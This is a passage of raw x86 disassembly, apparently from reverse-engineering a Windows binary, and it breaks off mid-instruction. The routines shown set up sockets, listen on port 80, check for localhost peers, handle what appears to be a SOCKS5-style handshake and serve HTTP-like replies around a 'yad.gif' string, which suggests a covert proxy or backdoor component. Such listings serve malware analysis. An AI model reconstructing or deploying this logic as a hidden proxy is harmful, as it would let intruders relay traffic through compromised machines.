[ebp+var_20], 2 mov [ebp+var_8], 10h call sub_40D8A6 cmp eax, edi jle short loc_4164BD test [ebp+var_21D], 0Fh jz short loc_4164CD inc [ebp+var_4] loc_4164BD: ; CODE XREF: sub_416417+6Bj ; sub_416417+98j mov eax, [esi+40h] mov ecx, [ebp+var_4] cmp ecx, [eax] jb loc_41643C jmp short loc_4164E0 ; --------------------------------------------------------------------------- loc_4164CD: ; CODE XREF: sub_416417+A1j mov ecx, [esi+30h] mov edx, [ecx] push eax lea eax, [ebp+var_220] push eax lea eax, [esi+20h] push eax call dword ptr [edx] loc_4164E0: ; CODE XREF: sub_416417+59j ; sub_416417+B4j pop ebx loc_4164E1: ; CODE XREF: sub_416417+1Bj mov ecx, esi call sub_4163EB push esi call sub_40D0B6 pop ecx pop edi pop esi leave retn 4 sub_416417 endp ; =============== S U B R O U T I N E ======================================= sub_4164F5 proc near ; CODE XREF: sub_41651F+29p arg_0 = byte ptr 4 push ebx push esi push edi mov ebx, ecx and dword ptr [ebx+4], 0 lea edi, [ebx+10h] lea esi, [esp+0Ch+arg_0] movsd movsd movsd push offset dword_421D40 movsd mov [ebx+8], ebx call ds:dword_4180E4 pop edi pop esi mov eax, ebx pop ebx retn 10h sub_4164F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41651F proc near ; CODE XREF: sub_416254+E5p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor eax, eax mov [ebp+var_14], offset sub_416417 mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax sub esp, 10h mov edi, esp lea esi, [ebp+var_14] movsd movsd movsd mov ebx, ecx movsd call sub_4164F5 mov esi, [ebp+arg_0] mov eax, [ebp+arg_C] lea edi, [ebx+20h] movsd movsd movsd movsd lea esi, [ebx+34h] mov ecx, esi mov [ebx+30h], eax call sub_40E0AC or [ebp+var_4], 0FFFFFFFFh lea ecx, [ebp+var_4] push ecx lea edi, [ebx+40h] push edi xor eax, eax push eax push eax push 1 push 6 mov [edi], eax mov word ptr [ebp+var_14], 2 call sub_4177EE test eax, eax jnz short loc_41659A push eax push eax mov ecx, esi call sub_40DA80 cmp eax, 0FFFFFFFFh jnz short loc_4165AA loc_41659A: ; CODE XREF: sub_41651F+6Bj mov ecx, ebx call sub_4163EB push ebx call sub_40D0B6 pop ecx jmp short loc_4165E9 ; --------------------------------------------------------------------------- loc_4165AA: ; CODE XREF: sub_41651F+79j push 35h call ds:dword_4181E8 mov word ptr [ebp+var_14+2], ax mov eax, [edi] mov esi, [eax] jmp short loc_4165DB ; --------------------------------------------------------------------------- loc_4165BC: ; CODE XREF: sub_41651F+BFj mov eax, [edi] mov eax, [eax+esi*4+4] push 10h mov [ebp+var_10], eax lea eax, [ebp+var_14] push eax push 0 push [ebp+arg_8] lea ecx, [ebx+34h] push [ebp+arg_4] call sub_40D83F loc_4165DB: ; CODE XREF: sub_41651F+9Bj dec esi test esi, esi jg short loc_4165BC push 0 mov ecx, ebx call sub_408085 loc_4165E9: ; CODE XREF: sub_41651F+89j pop edi pop esi mov eax, ebx pop ebx leave retn 10h sub_41651F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4165F2 proc near ; CODE XREF: sub_416E86+EFp xor eax, eax cmp [ecx+20h], eax jz short locret_416601 mov ecx, [ecx+20h] mov eax, [ecx] jmp dword ptr [eax+4] ; --------------------------------------------------------------------------- locret_416601: ; CODE XREF: sub_4165F2+5j retn 8 sub_4165F2 endp ; =============== S U B R O U T I N E ======================================= sub_416604 proc near ; CODE XREF: sub_416E86+BAp arg_0 = dword ptr 4 xor eax, eax cmp [ecx+20h], eax jz short locret_416618 mov ecx, [ecx+20h] mov edx, [ecx] push eax push [esp+4+arg_0] call dword ptr [edx+4] locret_416618: ; CODE XREF: sub_416604+5j retn 4 sub_416604 endp ; =============== S U B R O U T I N E ======================================= sub_41661B proc near ; CODE XREF: sub_416829+3p push esi mov esi, ds:dword_4180F0 push edi push 0 push offset dword_421D44 mov edi, ecx call esi push 0 push offset dword_421D48 call esi push 0Ch call sub_40D0BB test eax, eax pop ecx jz short loc_41664C mov ecx, eax call sub_40DD7C jmp short loc_41664E ; --------------------------------------------------------------------------- loc_41664C: ; CODE XREF: sub_41661B+26j xor eax, eax loc_41664E: ; CODE XREF: sub_41661B+2Fj lea esi, [edi+40h] push eax mov ecx, esi call sub_404191 mov ecx, [esi] push 0 push 50h call sub_40DA80 cmp eax, 0FFFFFFFFh jz short loc_416679 mov ecx, [esi] push 7FFFFFFFh call sub_40D793 mov al, 1 jmp short loc_41667B ; --------------------------------------------------------------------------- loc_416679: ; CODE XREF: sub_41661B+4Cj xor al, al loc_41667B: ; CODE XREF: sub_41661B+5Cj pop edi pop esi retn sub_41661B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41667E proc near ; DATA XREF: sub_416874+16o var_20 = word ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_5 = dword ptr -5 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 20h push esi push edi xor edi, edi inc edi push edi mov esi, ecx push 0 push dword ptr [esi+24h] call ds:dword_4180B0 test eax, eax jz loc_41679E push ebx loc_4166A0: ; CODE XREF: sub_41667E+119j mov ecx, [esi+40h] lea eax, [ebp+var_C] push eax lea eax, [ebp+var_20] push eax push edi mov [ebp+var_20], 2 mov [ebp+var_C], 10h call sub_40DF85 mov ebx, eax test ebx, ebx jz loc_416786 push [ebp+var_1C] call ds:dword_4181B0 cmp eax, 7F000001h mov eax, [ebx] jnz short loc_4166E4 push edi mov ecx, ebx call dword ptr [eax] jmp loc_416786 ; --------------------------------------------------------------------------- loc_4166E4: ; CODE XREF: sub_41667E+5Aj lea ecx, [ebp+var_10] push ecx push edi lea ecx, [ebp+var_5] push ecx mov ecx, ebx mov [ebp+var_10], 1Eh call dword ptr [eax+4] cmp eax, edi jnz loc_416786 cmp byte ptr [ebp+var_5], 0 jz short loc_416774 cmp byte ptr [ebp+var_5], 5 jz short loc_416727 push 30h call sub_40D0BB test eax, eax pop ecx jz short loc_416786 push [ebp+var_5] mov ecx, eax push esi push ebx call sub_417000 jmp short loc_416786 ; --------------------------------------------------------------------------- loc_416727: ; CODE XREF: sub_41667E+8Dj cmp dword ptr [esi+50h], 0 jnz short loc_41673E cmp dword ptr [esi+20h], 0 jz short loc_41673E mov ecx, [esi+20h] mov eax, [ecx] lea edx, [esi+4Ch] push edx call dword ptr [eax] loc_41673E: ; CODE XREF: sub_41667E+ADj ; sub_41667E+B3j xor edi, edi cmp [esi+50h], edi jbe short loc_416786 loc_416745: ; CODE XREF: sub_41667E+DCj push [ebp+var_1C] call ds:dword_4181B0 mov ecx, [esi+4Ch] cmp eax, [ecx+edi*4] jz short loc_41675E inc edi cmp edi, [esi+50h] jb short loc_416745 jmp short loc_416786 ; --------------------------------------------------------------------------- loc_41675E: ; CODE XREF: sub_41667E+D6j push 28h call sub_40D0BB test eax, eax pop ecx jz short loc_416786 push ebx mov ecx, eax call sub_417325 jmp short loc_416786 ; --------------------------------------------------------------------------- loc_416774: ; CODE XREF: sub_41667E+87j mov eax, [ebx] push 0 push edi lea ecx, [ebp+var_1] push ecx mov ecx, ebx mov [ebp+var_1], 0E3h call dword ptr [eax+8] loc_416786: ; CODE XREF: sub_41667E+44j ; sub_41667E+61j ... xor edi, edi inc edi push edi push 0 push dword ptr [esi+24h] call ds:dword_4180B0 test eax, eax jnz loc_4166A0 pop ebx loc_41679E: ; CODE XREF: sub_41667E+1Bj pop edi pop esi leave retn 4 sub_41667E endp ; =============== S U B R O U T I N E ======================================= sub_4167A4 proc near ; CODE XREF: sub_416E86+139p arg_0 = dword ptr 4 push esi push edi mov esi, ecx lea edi, [esi+28h] push edi call ds:dword_4180DC push [esp+8+arg_0] lea ecx, [esi+44h] call sub_4151CB push edi call ds:dword_4180E0 pop edi pop esi retn 4 sub_4167A4 endp ; =============== S U B R O U T I N E ======================================= sub_4167CA proc near ; CODE XREF: sub_416829+12p arg_0 = dword ptr 4 push esi push edi push 8 mov esi, ecx call sub_40D0BB pop ecx mov ecx, [esp+8+arg_0] mov [eax+4], ecx xor ecx, ecx lea edi, [esi+4] push edi push ecx push eax push offset sub_4163B7 push ecx push ecx mov [eax], esi call ds:dword_4180BC mov [esi], eax mov eax, [edi] pop edi pop esi retn 4 sub_4167CA endp ; =============== S U B R O U T I N E ======================================= sub_4167FD proc near ; CODE XREF: sub_4169EF+17p arg_0 = dword ptr 4 jmp short loc_416809 ; --------------------------------------------------------------------------- loc_4167FF: ; CODE XREF: sub_4167FD+13j push [esp+arg_0] call ds:dword_4180C8 loc_416809: ; CODE XREF: sub_4167FDj cmp dword_421D44, 0 jg short loc_4167FF retn sub_4167FD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416813 proc near ; CODE XREF: sub_4169EF+1Ep arg_0 = dword ptr 4 jmp short loc_41681F ; --------------------------------------------------------------------------- loc_416815: ; CODE XREF: sub_416813+13j push [esp+arg_0] call ds:dword_4180C8 loc_41681F: ; CODE XREF: sub_416813j cmp dword_421D48, 0 jg short loc_416815 retn sub_416813 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416829 proc near ; CODE XREF: sub_406E37+22Bp push esi mov esi, ecx call sub_41661B test al, al jnz short loc_416837 pop esi retn ; --------------------------------------------------------------------------- loc_416837: ; CODE XREF: sub_416829+Aj push 0 mov ecx, esi call sub_4167CA mov al, 1 pop esi retn sub_416829 endp ; =============== S U B R O U T I N E ======================================= sub_416844 proc near ; CODE XREF: sub_4168E8+Bp arg_0 = dword ptr 4 push esi mov esi, ecx mov eax, [esi] test eax, eax push edi jz short loc_416866 mov edi, [esp+8+arg_0] push edi push eax call sub_40CA55 test eax, eax pop ecx pop ecx jz short loc_41686F mov [esi+4], edi mov [esi], eax jmp short loc_41686F ; --------------------------------------------------------------------------- loc_416866: ; CODE XREF: sub_416844+8j push [esp+8+arg_0] call sub_404576 loc_41686F: ; CODE XREF: sub_416844+19j ; sub_416844+20j pop edi pop esi retn 4 sub_416844 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416874 proc near ; CODE XREF: sub_406E37+212p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, ecx xor eax, eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov [ebp+var_10], offset sub_41667E lea edi, [ebx+10h] lea esi, [ebp+var_10] movsd movsd movsd mov [ebx+4], eax mov eax, [ebp+arg_0] push 1 lea ecx, [ebx+24h] movsd mov [ebx+8], ebx mov [ebx+20h], eax call sub_4012FC lea eax, [ebx+28h] push eax call ds:dword_4180D4 xor eax, eax mov [ebx+40h], eax mov [ebx+44h], eax mov [ebx+48h], eax pop edi mov [ebx+4Ch], eax mov [ebx+50h], eax pop esi mov eax, ebx pop ebx leave retn 4 sub_416874 endp ; =============== S U B R O U T I N E ======================================= sub_4168D5 proc near ; CODE XREF: sub_416949+47p ; sub_4169EF+49p ... push esi mov esi, ecx lea ecx, [esi+8] call sub_401F70 mov ecx, esi pop esi jmp sub_40DB59 sub_4168D5 endp ; =============== S U B R O U T I N E ======================================= sub_4168E8 proc near ; CODE XREF: sub_41690E+2Ep arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push dword ptr [edi+4] mov esi, ecx call sub_416844 push dword ptr [edi+4] push dword ptr [edi] push dword ptr [esi] call sub_40CCF7 mov eax, [esi] add esp, 0Ch pop edi pop esi retn 4 sub_4168E8 endp ; =============== S U B R O U T I N E ======================================= sub_41690E proc near ; CODE XREF: sub_416949+85p arg_0 = dword ptr 4 push ebx push esi push edi mov esi, ecx call sub_40DB48 mov ebx, [esp+0Ch+arg_0] xor eax, eax lea edi, [esi+8] push eax mov [edi], eax mov [edi+4], eax push dword ptr [ebx] mov ecx, esi call sub_40DB5E mov eax, [ebx+4] add ebx, 8 push ebx mov ecx, edi mov [esi+4], eax call sub_4168E8 pop edi mov eax, esi pop esi pop ebx retn 4 sub_41690E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416949 proc near ; CODE XREF: sub_416E86+95p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, ecx lea eax, [esi+28h] push edi push eax mov [ebp+var_C], eax call ds:dword_4180DC push 0 call sub_40CFAE lea edi, [esi+44h] mov esi, [edi] pop ecx mov [ebp+var_4], eax jmp short loc_4169B3 ; --------------------------------------------------------------------------- loc_416973: ; CODE XREF: sub_416949+6Cj mov ebx, [esi] mov eax, [ebp+var_4] cmp eax, [ebx+4] jle short loc_41699E mov eax, [esi+4] push esi mov ecx, edi mov [ebp+var_8], eax call sub_4041B2 mov esi, [ebp+var_8] mov ecx, ebx call sub_4168D5 push ebx call sub_40D0B6 pop ecx jmp short loc_4169B3 ; --------------------------------------------------------------------------- loc_41699E: ; CODE XREF: sub_416949+32j test esi, esi jz short loc_4169A5 mov esi, [esi+4] loc_4169A5: ; CODE XREF: sub_416949+57j push [ebp+arg_0] mov ecx, ebx call sub_401ABD test al, al jnz short loc_4169B9 loc_4169B3: ; CODE XREF: sub_416949+28j ; sub_416949+53j test esi, esi jnz short loc_416973 jmp short loc_4169DD ; --------------------------------------------------------------------------- loc_4169B9: ; CODE XREF: sub_416949+68j cmp [ebp+arg_4], 0 jz short loc_4169D9 push 10h call sub_40D0BB test eax, eax pop ecx jz short loc_4169D5 push ebx mov ecx, eax call sub_41690E jmp short loc_4169DB ; --------------------------------------------------------------------------- loc_4169D5: ; CODE XREF: sub_416949+80j xor eax, eax jmp short loc_4169DB ; --------------------------------------------------------------------------- loc_4169D9: ; CODE XREF: sub_416949+74j mov eax, ebx loc_4169DB: ; CODE XREF: sub_416949+8Aj ; sub_416949+8Ej mov esi, eax loc_4169DD: ; CODE XREF: sub_416949+6Ej push [ebp+var_C] call ds:dword_4180E0 pop edi mov eax, esi pop esi pop ebx leave retn 8 sub_416949 endp ; =============== S U B R O U T I N E ======================================= sub_4169EF proc near ; CODE XREF: sub_406859+Cp ; sub_406877+15p push ebx push esi push edi mov esi, ecx push dword ptr [esi+24h] call ds:dword_4180A8 mov ecx, esi call sub_40B150 push 0Ah call sub_4167FD push 0Ah call sub_416813 pop ecx pop ecx lea eax, [esi+28h] push eax call ds:dword_4180DC lea ebx, [esi+44h] mov edi, [ebx] test edi, edi jz short loc_416A56 push ebp loc_416A28: ; CODE XREF: sub_4169EF+64j test edi, edi jz short loc_416A30 mov ebp, [edi] jmp short loc_416A32 ; --------------------------------------------------------------------------- loc_416A30: ; CODE XREF: sub_4169EF+3Bj xor ebp, ebp loc_416A32: ; CODE XREF: sub_4169EF+3Fj test ebp, ebp jz short loc_416A44 mov ecx, ebp call sub_4168D5 push ebp call sub_40D0B6 pop ecx loc_416A44: ; CODE XREF: sub_4169EF+45j mov ebp, [edi+4] push edi mov ecx, ebx call sub_4041B2 test ebp, ebp mov edi, ebp jnz short loc_416A28 pop ebp loc_416A56: ; CODE XREF: sub_4169EF+36j lea edi, [esi+28h] push edi call ds:dword_4180E0 lea ecx, [esi+4Ch] call sub_401F70 lea ecx, [esi+40h] call sub_401205 push edi call ds:dword_4180D8 push dword ptr [esi+24h] call ds:dword_4180A4 pop edi pop esi pop ebx retn sub_4169EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A84 proc near ; CODE XREF: sub_416E86+6Bp var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] sub esp, 10h push ebx push esi push edi mov esi, offset aYad_gif ; "yad.gif" lea edi, [ebp+var_10] movsd xor ebx, ebx push ebx lea eax, [ebp+var_10] push eax movsw call sub_40DB2F push eax lea ecx, [ebp+var_8] call sub_40DCEB cmp [ebp+var_8], ebx lea ecx, [ebp+var_8] jz loc_416B64 push ebx push offset asc_418210 ; "\n" call sub_40DB2F cmp eax, ebx jz loc_416B61 mov ecx, [ebp+arg_4] mov [eax-1], bl mov eax, [ebp+var_8] add eax, 6 push eax call sub_4012E7 mov ecx, [ebp+arg_0] push ebx push offset dword_4202CC call sub_40DB2F push eax lea ecx, [ebp+var_4] call sub_40DCEB cmp [ebp+var_4], ebx lea ecx, [ebp+var_4] jz short loc_416B5C push ebx push offset asc_41BC28 ; " " call sub_40DB2F cmp eax, ebx jz short loc_416B59 mov [eax], bl mov esi, [ebp+var_4] xor edx, edx cmp [esi], bl mov eax, esi jz short loc_416B2D loc_416B1C: ; CODE XREF: sub_416A84+A3j inc eax mov cl, [eax] cmp cl, 2Fh jnz short loc_416B25 inc edx loc_416B25: ; CODE XREF: sub_416A84+9Ej cmp cl, bl jnz short loc_416B1C cmp edx, ebx jnz short loc_416B4C loc_416B2D: ; CODE XREF: sub_416A84+96j push offset a00 ; "00\r\n\r\n" push esi call sub_40CE77 test eax, eax pop ecx pop ecx jz short loc_416B4C push ebx push offset dword_4202B8 lea ecx, [ebp+var_4] call sub_40DB5E loc_416B4C: ; CODE XREF: sub_416A84+A7j ; sub_416A84+B8j push [ebp+var_4] mov ecx, [ebp+arg_4] call sub_401AA0 mov bl, 1 loc_416B59: ; CODE XREF: sub_416A84+89j lea ecx, [ebp+var_4] loc_416B5C: ; CODE XREF: sub_416A84+7Aj call sub_40DB59 loc_416B61: ; CODE XREF: sub_416A84+45j lea ecx, [ebp+var_8] loc_416B64: ; CODE XREF: sub_416A84+32j call sub_40DB59 pop edi pop esi mov al, bl pop ebx leave retn 8 sub_416A84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B72 proc near ; CODE XREF: sub_416E86+81p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] push edi push 0 push offset byte_4202B0 mov ecx, esi call sub_40DB2F mov edi, eax test edi, edi jnz short loc_416B92 xor al, al jmp short loc_416BE0 ; --------------------------------------------------------------------------- loc_416B92: ; CODE XREF: sub_416B72+1Aj lea ecx, [ebp+arg_4] call sub_40DB48 mov eax, [esi] mov ecx, edi sub ecx, eax push ecx push eax lea ecx, [ebp+arg_4] call sub_40DB5E push offset dword_4202D8 lea ecx, [ebp+arg_4] call sub_401AA0 push [ebp+arg_0] lea ecx, [ebp+arg_4] call sub_401AA0 push edi lea ecx, [ebp+arg_4] call sub_401AA0 lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_40DC39 lea ecx, [ebp+arg_4] call sub_40DB59 mov al, 1 loc_416BE0: ; CODE XREF: sub_416B72+1Ej pop edi pop esi pop ebp retn 8 sub_416B72 endp ; =============== S U B R O U T I N E ======================================= sub_416BE6 proc near ; CODE XREF: sub_416E86+149p add ecx, 24h call sub_401205 push offset dword_421D44 call ds:dword_4180E8 retn sub_416BE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416BFA proc near ; CODE XREF: sub_416E86+54p var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi push 3 mov ebx, ecx mov [ebp+var_1], 0 pop esi jmp loc_416CB8 ; --------------------------------------------------------------------------- loc_416C11: ; CODE XREF: sub_416BFA+D8j push [ebp+var_C] mov ecx, [ebp+arg_0] call sub_40707B mov al, ds:byte_4202B0[edi] cmp al, byte ptr [ebp+var_C] jnz loc_416CB4 inc edi cmp edi, 4 jnz loc_416CBA mov esi, offset dword_4202E0 lea edi, [ebp+var_1C] movsd movsd movsd movsd mov edi, [ebp+arg_0] push 0 lea eax, [ebp+var_1C] push eax mov ecx, edi mov [ebp+var_1], 1 call sub_40DB2F test eax, eax jz loc_416D19 add eax, 10h push eax push offset asc_418210 ; "\n" mov ecx, edi mov [ebp+var_8], eax call sub_40DB2F mov esi, eax test esi, esi jz loc_416D19 lea ecx, [ebp+arg_0] call sub_40DB48 sub esi, [ebp+var_8] lea ecx, [ebp+arg_0] dec esi push esi push [ebp+var_8] call sub_40DB5E push [ebp+arg_0] call sub_40CE59 pop ecx lea ecx, [ebp+arg_0] mov esi, eax call sub_40DB59 test esi, esi jbe short loc_416D19 mov eax, [edi] test eax, eax jnz short loc_416CDA and [ebp+arg_0], eax jmp short loc_416CE4 ; --------------------------------------------------------------------------- loc_416CB4: ; CODE XREF: sub_416BFA+2Bj test edi, edi jle short loc_416CBA loc_416CB8: ; CODE XREF: sub_416BFA+12j xor edi, edi loc_416CBA: ; CODE XREF: sub_416BFA+35j ; sub_416BFA+BCj mov ecx, [ebx+24h] lea edx, [ebp+var_8] push edx push 1 lea edx, [ebp+var_C] mov [ebp+var_8], esi mov eax, [ecx] push edx call dword ptr [eax+4] cmp eax, 1 jz loc_416C11 jmp short loc_416D19 ; --------------------------------------------------------------------------- loc_416CDA: ; CODE XREF: sub_416BFA+B3j push eax call sub_40CD83 pop ecx mov [ebp+arg_0], eax loc_416CE4: ; CODE XREF: sub_416BFA+B8j mov eax, [ebp+arg_0] lea eax, [eax+esi+1] push eax mov ecx, edi call sub_40DADA mov ecx, [ebx+24h] lea edx, [ebp+var_8] push edx mov edx, [edi] add edx, [ebp+arg_0] mov eax, esi shr eax, 0Ah add eax, 5 push esi mov [ebp+var_8], eax mov eax, [ecx] push edx call dword ptr [eax+4] cmp eax, esi jz short loc_416D19 mov [ebp+var_1], 0 loc_416D19: ; CODE XREF: sub_416BFA+5Dj ; sub_416BFA+7Aj ... mov al, [ebp+var_1] pop edi pop esi pop ebx leave retn 4 sub_416BFA endp ; =============== S U B R O U T I N E ======================================= sub_416D23 proc near ; CODE XREF: sub_417000+29p arg_0 = byte ptr 4 push ebx push esi push edi mov ebx, ecx and dword ptr [ebx+4], 0 lea edi, [ebx+10h] lea esi, [esp+0Ch+arg_0] movsd movsd movsd push offset dword_421D44 movsd mov [ebx+8], ebx call ds:dword_4180E4 pop edi pop esi mov eax, ebx pop ebx retn 10h sub_416D23 endp ; =============== S U B R O U T I N E ======================================= sub_416D4D proc near ; CODE XREF: sub_416E86+CEp push esi mov esi, ecx call sub_40DB48 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 mov eax, esi pop esi retn sub_416D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D61 proc near ; CODE XREF: sub_416E86+FBp var_28 = byte ptr -28h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push esi and [ebp+var_C], 0 push edi mov esi, offset dword_4202F0 lea edi, [ebp+var_28] movsd movsd movsd movsd mov esi, [ebp+arg_0] mov eax, [esi] lea ecx, [ebp+var_28] push ecx push eax mov [ebp+var_8], eax call sub_40CE77 mov edi, eax test edi, edi pop ecx pop ecx jz loc_416E34 push ebx push offset asc_418210 ; "\n" push edi call sub_40CE77 mov ebx, eax test ebx, ebx pop ecx pop ecx mov [ebp+var_10], ebx jz loc_416E33 lea ecx, [ebp+var_4] call sub_40DB48 sub ebx, edi push ebx push edi lea ecx, [ebp+var_4] call sub_40DB5E mov eax, [ebp+var_4] add eax, 10h push eax call sub_40CE59 mov esi, [esi+4] and [ebp+var_18], 0 and [ebp+var_14], 0 pop ecx sub esi, ebx dec esi push esi lea ecx, [ebp+var_18] mov [ebp+var_C], eax call sub_404576 sub edi, [ebp+var_8] mov ebx, [ebp+var_18] push edi push [ebp+var_8] push ebx call sub_40CCF7 mov eax, [ebp+var_10] sub esi, edi push esi inc eax push eax add ebx, edi push ebx call sub_40CCF7 mov ecx, [ebp+arg_0] add esp, 18h lea eax, [ebp+var_18] push eax call sub_4045A0 cmp [ebp+var_18], 0 jz short loc_416E2B push [ebp+var_18] call sub_40CCC5 pop ecx loc_416E2B: ; CODE XREF: sub_416D61+BFj lea ecx, [ebp+var_4] call sub_40DB59 loc_416E33: ; CODE XREF: sub_416D61+4Bj pop ebx loc_416E34: ; CODE XREF: sub_416D61+30j mov eax, [ebp+var_C] pop edi pop esi leave retn 4 sub_416D61 endp ; =============== S U B R O U T I N E ======================================= sub_416E3D proc near ; CODE XREF: sub_416E86+142p push esi mov esi, ecx push edi mov edi, [esi] test edi, edi jz short loc_416E58 mov ecx, edi call sub_4168D5 push edi call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_416E58: ; CODE XREF: sub_416E3D+8j pop edi pop esi retn sub_416E3D endp ; =============== S U B R O U T I N E ======================================= sub_416E5B proc near ; CODE XREF: sub_416E86+DCp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, ecx mov esi, [edi] test esi, esi jz short loc_416E7C cmp ebx, esi jz short loc_416E7C mov ecx, esi call sub_4168D5 push esi call sub_40D0B6 pop ecx loc_416E7C: ; CODE XREF: sub_416E5B+Dj ; sub_416E5B+11j mov [edi], ebx pop edi pop esi mov eax, ebx pop ebx retn 4 sub_416E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E86 proc near ; DATA XREF: sub_417000+17o var_2C = word ptr -2Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 2Ch push esi push edi push 10h pop edi lea eax, [ebp+var_18] push eax mov esi, ecx mov ecx, [esi+24h] lea eax, [ebp+var_2C] push eax mov [ebp+var_2C], 2 mov [ebp+var_18], edi call sub_40D97B lea ecx, [ebp+var_2C] call sub_40D719 lea ecx, [ebp+var_C] mov [ebp+var_10], eax call sub_40DB48 lea ecx, [ebp+var_4] call sub_40DB48 movzx eax, byte ptr [esi+28h] push eax lea ecx, [ebp+var_4] call sub_40707B lea eax, [ebp+var_4] push eax mov ecx, esi call sub_416BFA test al, al jz loc_416FCD lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax mov ecx, esi call sub_416A84 test al, al jz loc_416FCD lea eax, [ebp+var_4] push eax push [ebp+var_10] mov ecx, esi call sub_416B72 mov ecx, [esi+20h] push 1 push [ebp+var_C] mov [ebp+var_14], 78h call sub_416949 test eax, eax mov [ebp+var_8], eax jz short loc_416F47 mov ecx, [esi+24h] mov edx, [ecx] lea edi, [ebp+var_14] push edi push dword ptr [eax+0Ch] push dword ptr [eax+8] call dword ptr [edx+8] mov ecx, [esi+20h] lea eax, [ebp+var_4] push eax call sub_416604 jmp short loc_416FC5 ; --------------------------------------------------------------------------- loc_416F47: ; CODE XREF: sub_416E86+9Fj push edi call sub_40D0BB test eax, eax pop ecx jz short loc_416F5B mov ecx, eax call sub_416D4D jmp short loc_416F5D ; --------------------------------------------------------------------------- loc_416F5B: ; CODE XREF: sub_416E86+CAj xor eax, eax loc_416F5D: ; CODE XREF: sub_416E86+D3j push ebx push eax lea ecx, [ebp+var_8] call sub_416E5B mov edi, [ebp+var_8] mov ecx, [esi+20h] lea ebx, [edi+8] push ebx lea eax, [ebp+var_4] push eax call sub_4165F2 test al, al jz short loc_416FC4 push ebx mov ecx, esi call sub_416D61 test eax, eax mov [ebp+var_1C], eax jle short loc_416FC4 lea eax, [ebp+var_C] push eax mov ecx, edi call sub_40DC39 push 0 call sub_40CFAE add eax, [ebp+var_1C] pop ecx mov [edi+4], eax mov ecx, [esi+24h] mov eax, [ecx] lea edx, [ebp+var_14] push edx push dword ptr [edi+0Ch] push dword ptr [ebx] call dword ptr [eax+8] mov ecx, [esi+20h] and [ebp+var_8], 0 push edi call sub_4167A4 loc_416FC4: ; CODE XREF: sub_416E86+F6j ; sub_416E86+105j pop ebx loc_416FC5: ; CODE XREF: sub_416E86+BFj lea ecx, [ebp+var_8] call sub_416E3D loc_416FCD: ; CODE XREF: sub_416E86+5Bj ; sub_416E86+72j mov ecx, esi call sub_416BE6 push esi call sub_40D0B6 pop ecx lea ecx, [ebp+var_4] call sub_40DB59 lea ecx, [ebp+var_C] call sub_40DB59 cmp [ebp+var_10], 0 pop edi pop esi jz short locret_416FFC push [ebp+var_10] call sub_40D0B6 pop ecx locret_416FFC: ; CODE XREF: sub_416E86+16Bj leave retn 4 sub_416E86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417000 proc near ; CODE XREF: sub_41667E+A2p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi xor eax, eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax sub esp, 10h mov [ebp+var_10], offset sub_416E86 mov edi, esp lea esi, [ebp+var_10] movsd movsd movsd mov ebx, ecx movsd call sub_416D23 mov eax, [ebp+arg_4] mov [ebx+20h], eax mov eax, [ebp+arg_0] mov [ebx+24h], eax mov al, [ebp+arg_8] push 0 mov ecx, ebx mov [ebx+28h], al call 